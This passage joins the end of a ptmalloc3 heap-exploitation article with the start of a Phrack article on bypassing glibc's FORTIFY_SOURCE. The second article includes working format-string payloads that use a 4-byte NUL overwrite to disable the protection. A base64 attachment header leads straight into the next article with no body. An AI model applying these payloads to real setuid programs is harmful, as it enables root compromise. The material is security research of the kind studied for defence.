Anyone who read the source code base has probably noticed that Ptmalloc3's unlink...( ) macros omit the classic tests that implanted in glibc to check the double linked list. We do not consider this because we know that a real implementation would take it into account and should add this integrity check. However, I can not perform a more detailed stud until someone decides in a future that glibc will be based on Ptmalloc3.

The conclusion of this overview is that some of the techniques detailed in the Maleficarum & Des‑Maleficarum papers are not reliable in Ptmalloc3. One of them, for example, is The House of Force. Remember that it needs both to overwrite the "size" field of the wilderness chunk and a request with a user‑defined size. This was possible partly in Ptmalloc2 because the size of the top chunk was read in this way:

victim = av‑>top;

size = chunksize(victim);

Unfortunately, now Ptmalloc3 saves this value in the "malloc_state" and reads it directly with this:

size_t rsize = (g)m‑>topsize // gm for dlmalloc( ), m for

// mspace_malloc( )

In any case, it is worth recalling one of the comments present at the beginning of "malloc.c":

"This is only one aspect of security ‑‑ these checks do not, and cannot, detect all possible programming errors".

<< Programming without an overall architecture or design in mind is like exploring a cave with only a flashlight: You don't know where you've been, you don't know where you're going, and you don't know quite where you are. >>

Danny Thorpe ]

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑[ 4.3.1 ‑‑‑[ Secure Heap Allocator (Utopian) ]‑‑‑

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

First, there is no way to create a "heap allocator" totally secure, it's impossible (note: you can design the most secure allocator in the world but if it's too slow => it's no use). To begin with, and the main rule (which is fairly obvious), implies that the control structures or more simply, headers, can not be located being adjacent to the data. Create a macro that adds 8 bytes to the address of a header for direct access to data is very simple, but has never been a safe option.

However, although this problem will be solved, still others thought to corrupt the data of another allocated chunk is not useful if it not allows arbitrary code execution, but and if these buffers contain data whose integrity has to be guaranteed (financial information, others...)?

Then we came to the point in which it is essential the use cookies between the fragments of memory assigned. It obviously has side effects. The most efficient would be that this cookie (say 4 bytes) will be the last 4 bytes of each allocated chunk, with the target of preserve the alignment, since that put them between two chunks required a more complicated and possibly slower management.

Besides this, we could also take ideas from "Electric Fence ‑ Red‑Zone memory allocator" by Bruce Perens [5]. His protection ideas are:

‑ Anti Double Frees:

if ( slot‑>mode != ALLOCATED ) {

if ( internalUse && slot‑>mode == INTERNAL_USE )

.....

else {

EF_Abort("free(%a): freeing free memory.",address);

‑ Free unallocated space (EFense maintains an array of addresses of chunks allocated (slots) ):

slot = slotForUserAddress(address);

if ( !slot )

EF_Abort("free(%a): address not from malloc().", address);

Other implementations of dynamic memory management that we should take into account: Jemalloc on FreeBSD [6] and Guard Malloc for Mac OS X [7].

The first is specially designed for concurrent systems. We talked about management of multiple threads on multiple processors, and how to achieve this efficiently, without affecting system performance, and getting better times in comparison with other memory managers.

The second, to take one example, use the pagination and its mechanism of protection in a very clever way. Extracted directly from the manpage, we read the core of his method:

"Each malloc allocation is placed on its own virtual memory page, with the end of the buffer at the end of the page's memory, and the next page is kept unallocated. As a result, accesses beyond the end of the buffer cause a bus error immediately. When memory is freed, libgmalloc deallocates its virtual memory, causing reads or writes to the freed buffer cause a bus error."

Note: That's a really interesting idea but you should take into account the fact that such a technic is not _that_ effective because if would sacrifice a lot of memory. It would induce a PAGE_SIZE (4096 bytes is a common value, or getpagesize( ) ;) allocation for a small chunk.

In my opinion, I do not see Guard Malloc as a memory manager of routine use, but rather as an implementation with which to compile your programs in the early stages of development/debugging.

However, Guard Malloc is a highly user‑configurable library. For example, you could allow through an specific environment variable (MALLOC_ALLOW_READS) to read past an allocated buffer. This is done by setting the following virtual page as Read‑Only. If this variable is enabled along with other specific environment variable (MALLOC_PROTECT_BEFORE), you can read the previous virtual page. And still more, if MALLOC_PROTECT_BEFORE is enabled without MALLOC_ALLOW_READS buffer underflow can be detected. But this is something that you can read in the official documentation, and it's needless to say more here.

<< When debugging, novices insert corrective code; experts remove defective code. >>

Richard Pattis ]

.‑‑‑‑‑‑‑‑‑‑‑‑.

‑‑‑[ 4.3.2 ‑‑‑[ dnmalloc ]‑‑‑

.‑‑‑‑‑‑‑‑‑‑‑‑.

This implementation (DistriNet malloc) [10] is like the most modern systems: code and data are loaded into separate memory locations, dnmalloc applies the same to chunk and chunk information which are stored in separate contiguous memory protected by guard pages. A hashtable which contains pointers to a linked list of chunk information accessed through the hash function is used to associate chunks with the chunks information. [12]

Memory with dnmalloc:

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

| .text |

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

| .data |

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

...

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

| Chunks |

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

..

||

||

\/

/\

||

||

..

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

| Memory Page | <‑ This Page is not writable

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

| Chunk Information |

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

| The Hash Table |

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

| Memory Page |

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

| The Stack | <‑ This Page is not writable

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

The way to find the chunk information:

1.‑ Address of the chunk ‑ Start address of the heap = *Result*

2.‑ To get the entry in the Hash Table: shift *Result* 7 bits to the right.

3.‑ Go over the linked list till it have the correct chunk.

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

| The Hash Table |

. ................................... .

| Pointers to each Chunk Information | ‑‑> Chunk Information (Hash Next

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.to the next Chunk Information)

The manipulation of the Chunk Information:

1.‑ A fixed area is mapped below the Hash table for the Chunks Information.

2.‑ Free Chunk Information are stored in a linked list.

3.‑ When a new Chunk Information is needed the first element in the free list is used.

4.‑ If none are free a Chunk is allocated from the map.

5.‑ If the map is empty It maps extra memory for it (and move the guard page).

6.‑ Chunk information is protected by guard pages.

<< Passwords are like underwear: you don't let people see it, you should change it very often, and you shouldn't share it with strangers. >>

Chris Pirillo ]

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

‑‑‑[ 4.3.3 ‑‑‑[ OpenBSD malloc ]‑‑‑

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

This implementation [11] [13] have the design goals: simple, unpredictable, fast, less metadata space overhead, robust for example freeing of a bogus pointer or a double free should be detected ...

About the Metadata: keep track of mmaped regions by storing their address and size into a hash table, keep existing data structure for chunk allocations, a free region cache with a fixed number of slots:

Free regions cache

1.‑ Regions freed are kept for later reuse

2.‑ Large regions are unmapped directly

3.‑ If the number of pages cached gets too large, unmap some.

4.‑ Randomized search for fitting region, so region reuse is less predictable

5.‑ Optionally, pages in the cache are marked PROT_NONE

<< Getting information off the Internet is like taking a drink from a fire hydrant. >>

Mitchell Kapor ]

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑[ 5 ‑‑‑[ Miscellany, ASLR and More ]‑‑‑

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

We already mentioned something about ASLR and Non Exec Heap in the Malloc Des‑Maleficarum paper. Now we do the same with the method we have studied.

For the purposes of this technique, I considered disabled the ASLR in all examples of this article. If this protection was enabled in real life then randomization only affects to the position of the final fake chunk in the stack and our ability to predict a memory address close enough to a saved return address that can be overwritten. This should not be an utterly impossible task, and we consider that the bruteforce is always a possibility that we will have a hand in most restrictive situations.

Obviously, the non‑exec heap does not affect the techniques described in this paper, as one might place a shellcode in any elsewhere, although we warn that if the heap is not executable it is very likely that the stack will not be either. Therefore one should use a ret2libc style attack or return into mprotect( ) to avoid this protection.

This is an old theme, and each will know how to analyze problems underlying the system attacked.

Unfortunately, I do not show a real‑life exploit here. But we can talk a bit about the reliability and potential of success when we are studying a vulnerability in the wild.

The preconditions are clear, this has been seen repeatedly throughout of this article. The obvious difference between the PoC's that I presented here and the applications you use every day (as well as email clients, or web browsers), is that one can not predict in a first chance the current state of the heap. And this is really a problem, because while this is not in a fairly stable and predictable state, the chances of exploiting will be minimal.

But very high‑level hackers have already met once this class of problems, and over time have been designing and developing a series of techniques which allow reordering the heap so that both, the position of the allocated chunks as the data contained within them, are parameters controlled by the user. Among these techniques, we must appoint two best known:

‑ Heap Spray

‑ Heap Feng Shui

You can read something about them in the following paper presented at the BlackHat 2007 [8]. In short we can say that the "Heap Spray" technique simply fill in the heap as far as possible by requesting large amount of memory placing there repetitions of nop sleds and the opportune shellcode, then just simply find a predictable memory address for the "primitive 4‑byte overwrite". A very clever idea in this technique is to make the nop sled values equal to the selected address, so that it will be self‑referential.

Feng Shui is a much more elaborate technique, it first tries to defragment the Heap by filling the holes. Then it comes back to create holes in the upper controlled zone so that the memory remains as:

[ chunk | hole | chunk | hole | chunk | hole | chunk ]

... and finally tries to create the buffer to overflow in one of these holes, knowing that this will always be adjacent to one of its buffers containing information controlled by the exploiter.

We will not talk about it more here. Just say that although some of these methodologies may seem time consuming and fatigue making, without them nobody could create reliable exploits, or obtain success in most of the attempts.

<< Programming today is a race between software engineers striving to build bigger and better idiot‑proof programs, and the Universe trying to produce bigger and better idiots. So far, the Universe is winning. >>

Rich Cook ]

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

‑‑‑[ 6 ‑‑‑[ Conclusions ]‑‑‑

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

In this article we have seen how The House of Lore hid inside of itself a power much greater than we imagined. We also presented a fun example showing that, despite not being vulnerable to all the techniques we knew so far, it was still vulnerable to one that until now had only been described theoretically.

We detail a second method of attack also based on the corruption of a largebin, this attack could be an alternative in some circumstances and should be as important as the main method of the smallbin corruption.

Finally we detailed a way to apply THoL in version 3 of the Ptmalloc library, which many thought was not vulnerable to attacks due to the imposition of numerous restrictions.

Reviewing and analyzing in depth some of the security mechanisms that have been implanted in this library, allowed to find that further studies will be needed to discover new vulnerabilities and areas of code that can be manipulated for personal fun and profit.

If you want a tip from mine on how to improve your hacking, here goes:

Reads everything, study everything... then forget it all and do it differently, do it better. Fill your cup, empty your cup and fill it again with fresh water.

Finally, I would like to recall that I said the following in my "Malloc Des‑Maleficarum" paper:

"...and The House of Lore, although not very suitable for a credible case, no one can say that is a complete exception..."

With this new article I hope I have changed the meaning of my words, and shown that sometimes in hacking you make mistakes, but never stop to investigate and repair your errors. Everything we do is for fun, and we will do it as long as we exist on the land and cyberspace.

<< All truths are easy to understand once they are discovered;

the point is to discover them. >>

[ Galileo Galilei ]

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

‑‑‑[ 7 ‑‑‑[ Acknowledgments ]‑‑‑

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

First, I would like to give my acknowledgments to Dreg for his insistence for that I would do something with this paper and it not to fall into oblivion. After a bad time ... I could not give a talk on this subject at RootedCon [9], Dreg still graciously encouraged me to finish the translation and publish this article in this fantastic e‑zine which undoubtedly left its mark etched in the hacking history.

Indeed, the last details in the translation of this article are Dreg's work, and this would never have been what it is without his invaluable help.

For the rest, also thanks to all the people I met in dsrCON!, all very friendly, outgoing and all with their particular point of madness. I am not going to give more names, but, to all of them, thanks.

And remember...

Happy Hacking!

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

‑‑‑[ 8 ‑‑‑[ References ]‑‑‑

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

[1] Malloc Maleficarum http://www.packetstormsecurity.org/papers/attack/MallocMaleficarum.txt

[2] Malloc Des‑Maleficarum http://www.phrack.org/issues.html?issue=66&id=10

[3] PTMALLOC (v2 & v3)

http://www.malloc.de/en/

[4] Reducing the effective entropy of gs cookies http://uninformed.org/?v=7&a=2&t=sumry

[5] Electric Fence ‑ Red‑Zone memory allocator http://perens.com/FreeSoftware/ElectricFence/

electric‑fence_2.1.13‑0.1.tar.gz

[6] Jemalloc ‑ A Scalable Concurrent malloc(3) Implementacion for FreeBSD http://people.freebsd.org/~jasone/jemalloc/bsdcan2006/jemalloc.pdf

[7] Guard Malloc (Enabling the Malloc Debugging Features) http://developer.apple.com/mac/library/documentation/Darwin/Reference/

ManPages/man3/Guard_Malloc.3.html

[8] Heap Feng Shui in JavaScript ‑ BlackHat Europe 2007 http://www.blackhat.com/presentations/bh‑europe‑07/Sotirov/

Presentation/bh‑eu‑07‑sotirov‑apr19.pdf

[9] Rooted CON: Congreso de Seguridad Informatica (18‑20 Marzo 2010) http://www.rootedcon.es/

[10] dnmalloc

http://www.fort‑knox.org/taxonomy/term/3

[11] OpenBSD malloc http://www.openbsd.org/cgi‑bin/cvsweb/src/lib/libc/stdlib/malloc.c

[12] Dnmaloc ‑ A more secure memory allocator by Yves Younan, Wouter Joosen, Frank Piessens and Hans Van den Eynden http://www.orkspace.net/secdocs/Unix/Protection/Description/

Dnmaloc%20‑%20A%20more%20secure%20memory%20allocator.pdf

[13] A new malloc(3) for OpenBSD by Otto Moerbeek http://www.tw.openbsd.org/papers/eurobsdcon2009/otto‑malloc.pdf

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

‑‑‑[ 9 ‑‑‑[ Wargame Code ]‑‑‑

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

In this last section we attach the same program "agents.c" that we saw above but adapted to network environment so that it can be feasible to use in a servers exploitation wargame. At the same time the code is a bit more elaborate and robust.

As usual, "netagents.c" forks a child process (fork) for each connection made to it, and as each new process has its own heap, each attacker can confront the vulnerability based on zero. The actions of one not influence to others.

The code should be adapted according to the needs of the manager conducting or developing the wargame (as well as the number of allowed incoming connections or debugging information you want to give to the attacker if the game becomes very difficult).

The attached archive includes a makefile which assumes that in the same directory as the source is the compiled library ptmalloc2 (libmalloc.a) to be linked with netagents.c. Each should adapt "malloc.c" to print the information it deems necessary, but the basics would be the changes that have been made throughout this article, which allows the attacker to know from where they extract the chunks of memory requested.

How the attacker obtains the output of these changes? For simplicity, "netagents.c" prevents calls to send( ) by closing the standard output (stdout) and duplicating it with the recent obtained client socket (dup(CustomerID)). We use the same trick as the shellcodes expected.

"netagents.c" also includes a new menu option, "Show Heap State", in order to see the state of the memory chunks that are being allocated or released during its execution, this allows you to see if the head of any free chunk has been overwritten. After some legal moves, a normal output would be this:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| Allocated Chunk (0x8093004) | ‑> Agents[0]

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| SIZE = 0x00000019 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| Allocated Chunk (0x809301c) | ‑> Agents[1]

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| SIZE = 0x00000019 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| Allocated Chunk (0x8093034) | ‑> Agents[1]‑>name

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| SIZE = 0x00000029 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| Free Chunk (0x8093058) | ‑> Agents[1]‑>lastname

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| PREV_SIZE = 0x00000000 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| SIZE = 0x00000089 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| FD = 0x08050168 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| BK = 0x08050168 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| Allocated Chunk (0x80930e4) | ‑> Agents[1]‑>desc

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| SIZE = 0x00000108 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

Following the example of the perl exploit presented in 2.2.2, one might design an exploit in C with a child process continually receiving responses from the server (menus and prompts), and the father answering these questions with a pause, for example one second each answer (if you know what to respond to work that program ...). The difficult task is to predict the addresses on the stack, which in the last phase of the attack, the last reserved chunk should match the frame created by "edit_lastname( )" since that it is where we overwrite the saved return address and where the program probably will break (it is obvious that ASLR enabled suppose a new complexity to overcome).

What happens with failed attempts and segmentation failures? The program captures SIGSEGV and informs the attacker that something bad has happened and encourages him to connect again. The child process is the only that becomes unstable and thus a new connection leaves everything clean for a new attack.

The latest aid that one could provide to the attacker is to deliver the source code, so this could be adapted to study the vulnerability in local, and then carry his attack to the network environment.

Attach:

begin‑base64 644 thol.zip

A Eulogy for Format Strings

==Phrack Inc.==

Volume 0x0e, Issue 0x43, Phile #0x09 of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ A Eulogy for Format Strings ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ by Captain Planet ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Index

‑‑‑‑‑‑[ 0. Introduction

‑‑‑‑‑‑[ 1. Glibc's FORTIFY_SOURCE

‑‑‑‑‑‑[ 2. Bypassing FORTIFY_SOURCE

‑‑‑‑‑‑[ 3. Exploitation

A. Dummy program

B. CUPS lppasswd bug

C. TODO‑ ASLR

‑‑‑‑‑‑[ 4. Afterword

‑‑‑‑‑‑[ 0. Introduction

Today the Windows CRT disables %n by default [0]. And likewise, glibc's FORTIFY_SOURCE patches provides protection mechanisms which render exploitation impossible. Objective‑C isn't being considered, but i'm told you can have plenty of fun there too. Even format strings weren't a critically endangered species, they've been demoted to the class of infoleak. The great thing about format strings of course was that they provided both a read and write primitive. They were the `spork` of exploitation. ASLR? PIE? NX Stack/Heap? No problem, fmt had you covered.

The story goes that around 2000 everybody was hunting down format strings. Just about everything was vulnerable. Check out the TESO article in the links. It was pretty outrageous. CORE exploited pretty much everything with locales too [1]. But today, those days are long one. Unless of course you're hacking edus, in which case you can still use locale bugs to pop root shells on PMOS technology.

A few months ago something funny happened. A guy by the name of Ronald Volgers [2] had his way with CUPS lppasswd, which was shipped root setuid in Ubuntu and Debian. Nice find man! Locale bugs, oh yeah, awesome!

Unfortunately, the aforementioned patch makes fmt str exploitation quite unlikely.

In detail, the FORTIFY_SOURCE provides two countermeasures against fmt strings.

1) Format strings containing the %n specifier may not be located at a writeable address in the memory space of the application.

2) When using positional parameters, all arguments within the range must be consumed. So to use %7$x, you must also use 1,2,3,4,5 and 6.

But thats okay since the FORTIFY_SOURCE patch is not really all that complete. (‑: Why? Because glibc is really really weird code. It amazes me that someone would travel all around the world and take credit for glibc when they did not even write it. Actually, it makes perfect sense, nobody with any dignity would admit to writing any part of glibc to public audiences. Don't get me wrong, glibc lets pretty good stuff happen to my computer. The code is pretty hard to look at though, you wouldn't introduce her to your parents if you know what I mean...

What you're about to read is slightly harder than writing a format string and a little bit easier than building glibc itself. (Glibc binaries are ideal for an ELF VX because of the difficulty of compiling them). Prequisites are understanding format string exploitation. They were last written about in phrack here [3] if you need a refresher. If you have never exploited a format string vuln, seek the article by 'rebel' [6]. It is one of the most skilled and digestible discourses available.

So lets dive right in.

‑‑‑‑‑‑[ 1. Glibc's FORTIFY_SOURCE

========================================

WARNING: THE REST OF THIS ARTICLE INCLUDES GLIBC CODE WHICH MAY INDUCE CHEST PAIN, VOMITING, BLACKOUTS, or PERMANENT LOSS OF EYESIGHT. ALL ATTEMPTS TO KEEP KEEP GLIBC CODE TO A MINIMUM HAVE BEEN MADE BY THE AUTHOR.

========================================

"%49150u %4849$hn %1$*269158540$x %1$*13996$x %1073741824$d"

Have you seen a format string like that before? It makes positional parameters look less attractive, doesn't it?

So how does this patch supposedly work?

To turn it on the binary must be compiled with `‑D_FORTIFY_SOURCE=2` enabled with an optimization level of at least ‑O2. This is likely because of the compiler pass the patch is implemented at.

So the following happens.

0x08048509 <+57>: mov %ebx,0x4(%esp)

0x0804850d <+61>: movl $0x1,(%esp)

0x08048514 <+68>: call 0x80483c4 <__printf_chk@plt>

First, calls to printf, etc get rerouted to __*_chk in your compiled binary and the first argument of :flag: is passed as 1.

A.

++++++++++++++++++++++++++++++++++++++++

File: libc/debug/printf_chk.c

/* Write formatted output to stdout from the format string FORMAT. */

int

___printf_chk (int flag, const char *format, ...)

{

va_list ap;

int done;

_IO_acquire_lock_clear_flags2 (stdout);

if (flag > 0)

stdout‑>_flags2 |= _IO_FLAGS2_FORTIFY;

va_start (ap, format);

done = vfprintf (stdout, format, ap);

va_end (ap);

if (flag > 0)

stdout‑>_flags2 &= ~_IO_FLAGS2_FORTIFY;

_IO_release_lock (stdout);

return done;

}

++++++++++++++++++++++++++++++++++++++++

The function sets the _IO_FLAGS2_FORTIFY bit to ON in the FILE* structure to enable the FORTIFY checks. This is sort of clever, as the bit will always get toggled on when entering dangerous functions. You can not universally disable the mechanism very easily. But this itself does not actually guarantee any kind of security.

Under libio/libio.h the following secondary flags are defined:

#define _IO_FLAGS2_MMAP 1 //fopen 'm' mmap access mode

#define _IO_FLAGS2_NOTCANCEL 2 //open/read/write should not be used as

thread cancellization points

#ifdef _LIBC

# define _IO_FLAGS2_FORTIFY 4 //enable fortify security checks

#endif

#define _IO_FLAGS2_USER_WBUF 8 //wide buffer (2‑byte) support funk

#ifdef _LIBC

# define _IO_FLAGS2_SCANF_STD 16 // %a support for scanf

#endif

Disabling the entire flags buffer should not be too much trouble, but may lead to some inconsistencies if the file stream pointer is opened with 'm' in the mode parameter.

The astute reader will be wondering about functions such as vsnprintf, which require no file stream pointer. Well, glibc provides an okay solution. A file stream pointer is made on the stack with a callback that writes to a buffer instead of a file descriptor. This file stream pointer is then passed along to vfprintf.

Now, with the _IO_FLAGS2_FORTIFY bit set, there are two protections that are enabled.

B. Protection #1

++++++++++++++++++++++++++++++++++++++++

File: libc/stdio‑common/vfprintf.c

LABEL (form_number):

\

if (s‑>_flags2 &

_IO_FLAGS2_FORTIFY) \

{

if (!

readonly_format)

{

extern int __readonly_area (const void *, size_t) \

attribute_hidden;

readonly_format

= __readonly_area (format, ((STR_LEN (format) + 1) \

sizeof

(CHAR_T))); \

}

if (readonly_format <

0)

__libc_fatal ("*** %n in writable segment detected ***\n"); \

}

++++++++++++++++++++++++++++++++++++++++

If the format string payload containing a %n is located in a writeable memory area such as the stack or BSS or DATA or the heap, this patch will detect it and error out. Besides a DoS, this patch renders format strings pretty harmless.

C. Protection #2

++++++++++++++++++++++++++++++++++++++++

File: libc/stdio‑common/vfprintf.c

/* Determine the number of arguments the format string consumes. */

nargs = MAX (nargs, max_ref_arg);

/* Allocate memory for the argument descriptions. */

args_type = alloca (nargs * sizeof (int));

memset (args_type, s‑>_flags2 & _IO_FLAGS2_FORTIFY ? '\xff' : '\0', nargs * sizeof (int));

args_value = alloca (nargs * sizeof (union printf_arg)); args_size = alloca (nargs * sizeof (int));

..

for (cnt = 0; cnt < nargs; ++cnt)

..

switch (args_type[cnt])

..

case ‑1:

/* Error case. Not all parameters appear in N$ format

strings. We have no way to determine their type. */

assert (s‑>_flags2 & _IO_FLAGS2_FORTIFY); __libc_fatal ("*** invalid %N$ use detected ***\n"); }

++++++++++++++++++++++++++++++++++++++++

The effect of this second patch is that all of the arg_types are set to ‑1 by default. If there are any argument holes in between which do not get processed, they are left as ‑1. So the effect is that:

%4$x

would be invalid but

%4$x %2$x %1$x %3x

would be okay.

To be honest, I do not really see this as some huge security improvement but more of a nuisance. It does not really stop infoleaks much. Maybe they wanted to prevent people from exploiting 8 character format strings, because those are really common in the wargaming scene.

‑‑‑‑‑‑[ 2. Bypassing FORTIFY_SOURCE

Now, if you were paying attention, you saw a bunch of allocas in 1‑A. That :nargs: variable, that is the calculated maximum number of arguments. If a fmt str has simple arguments, the value is just that number. But, if a fmt str uses width arguments or positional parameters (often called direct parameters in other format string articles), then those also factor into the maximum :nargs: value

As an example in this string,

%x %x %x %13981938$x,

13981938 is the :nargs: value being passed to the alloca functions in code snippet 1‑C.

Do not get too excited. This is not enough for generic control. Unfortunately, we can not do the same stack shifting as in [4] since we are in a context past the initial stack frame allocation. At the epilogue of the function, a base register will be used to collapse the stack, making stack shifting less useful without being accompanied by memory clobbering. This is true of many of the architecture's C compilers. They pretty much all implement some sort of easy stack clean‑up with a base register, so alloca itself is difficult to attack.

Instead, it is the operations that use the allocated memory that must be exploited. The integer overflow can be used to trigger all sorts of memory trespasses.

One other thing to do is shift the stack into the heap using the alloca. This also turns out to be difficult because of those memset operations.

But we do have a loss of state. And as always, from a loss of state new opportunites arise. We are in the land of undefined. Hi mom and dad!

This article will use one such trespass opportunity to bypass FORTIFY_SOURCE. It should be noted that others exist, but may be a bit harder to utilize than this one.

<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

Arbitrary 4‑byte NUL overwrite.

++++++++++++++++++++++++++++++++++++++++

File: stdio‑common/vfprintf.c

/* Fill in the types of all the arguments. */

for (cnt = 0; cnt < nspecs; ++cnt)

{

/* If the width is determined by an argument this is an int. */

if (specs[cnt].width_arg != ‑1) args_type[specs[cnt].width_arg] = PA_INT;

enum

{ /* C type: */

PA_INT, /* int */

++++++++++++++++++++++++++++++++++++++++

Quick summary of the code:

args_type[ ATTACKER_OFFSET ] = 0x00000000;

Explanation:

The above code is required to process width arguments that are passed in as parameters.

For example:

%1$*269096872$x

Effectively does:

//specs[cnt].width_arg = 269096872

args_type[specs[cnt].width_arg] = 0

..which, if your stack is set up just right, can toggle off that _IO_FLAGS2_FORTIFY bit in the `stdout` FILE structure.

Remember that :args_type: was one of the buffers allocated on the stack in the alloca snippet above in 1‑C and is an array of an integer base type.

Care must be taken as the alloca becomes a bit of a problem when nargs gets set to a large value. This will likely shift the stack to somewhere unmapped. The next push or call instructions would result in a crash, preventing proper exploitation.

So the key constraints around :nargs: are as follows:

1) the stack must be shifted somewhere sane

2) the memset operation must not hit an unmapped page.

The easiest way to meet these two contraints is to use an integer overflow. Since no bounds checking occurs on :nargs:, you can artificially keep the stack in‑place with this: `%1073741824$`. No specifier is really required and you can end it with just a $ sign. The second contraint is also satisfied because the memset will be called with a length parameter of 0.

The details of the allocas are a little bit more complex if you look at the assembly. For our purposes, they roughly end up doing:

esp ‑= nargs * (4)

esp ‑= nargs * (12)

esp ‑= nargs * (4)

The 1073471824*4 happens to be 0 when truncated into a 32‑bit integer. This and other factors of 1073471824 prove to be sufficient for side‑stepping the alloca constraints.

This concludes the arbitrary 4‑byte NUL overwrite.

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

The first patch (1‑B) can be disabled by clearing that IO_FLAGS2_FORTIFY bit in the file stream pointer. Typically it will be the only flag enabled on the file stream pointer. In the unlikeley case that one of the other bits was set, for example _IO_FLAGS2_MMAP, inconsitencies may arise when the file stream pointer is closed. This may or may not affect exploitability.

We will now revisit the second part of the patch. It makes any format string exploit less flexible. The loop on nargs has to be terminated early to avoid the assert and the libc_fatal when a "hole" in the arguments is discovered. By hole, I am referring to the code in (1‑C) which checks the :args_type: value against ‑1. Remember that the fortify source patch won't let you access %5$x without also accessing %1$? %2$? %3$? and %4?. That is what is meant by 'hole' in this context.

